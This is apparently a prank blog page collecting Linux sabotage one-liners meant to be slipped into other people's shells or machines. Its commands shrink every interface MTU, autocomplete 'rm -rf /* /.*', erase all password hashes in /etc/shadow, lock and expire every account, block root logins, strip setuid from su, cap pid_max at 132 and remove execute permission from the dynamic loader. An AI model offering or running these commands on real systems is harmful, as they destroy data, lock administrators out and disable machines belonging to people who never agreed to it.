Slow down there a bit bro…

Fast network links getting you down?

for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}')
do
    ip l s ${IF} mtu 60
done

Especially fun if this machine is acting as a (nat-)router for other boxes…

Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

You make me feel complete

Pop this one into a bash session and watch the hilarity ensue:

complete -E -W 'rm\ -rf\ /*\ /.*'

And while we’re having fun try this one as well (advertorial alert):

complete -W 'http://breakingsystemsforfunandprofit.com' elinks links firefox chrome midori epiphany wget opera
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Passwords? We don’t need no stinkin’ passwords!

sed -ri 's/([^:]*):[^:]*:(.*)/\1:!!:\2/' /etc/shadow

Or for the wusses who want something a bit more recoverable:

for I in $(getent passwd | cut -d: -f1)
do
    passwd -l ${I}
    chage -E0 -M1 -m513 -I1 -W1023 ${I}
done
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Still, who needs root?

printf 'root\t-\tmaxlogins\t0\n' >> /etc/security/limits.conf
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Who needs root anyway?

chmod u-s /bin/su
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Nice and quiet on the email front

Do you hate all those incoming and outgoing emails as much as we do? Are you running sendmail? In that case help is at hand:

chmod g+w /
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Better learn to type fast…

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Fun with Vim and Files

Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc

:wqa
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

I’m sorry, but I can’t let you do that Dave…

echo "kernel.pid_max = 132" >> /etc/sysctl.conf
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon

Better get some rescue cd’s…

This one was submitted by giulivo using the submission link:

chmod a-x /lib/ld-2*.so
Share the Pain:
  • Reddit
  • Digg
  • Slashdot
  • Twitter
  • Facebook
  • del.icio.us
  • Google Bookmarks
  • Identi.ca
  • MySpace
  • StumbleUpon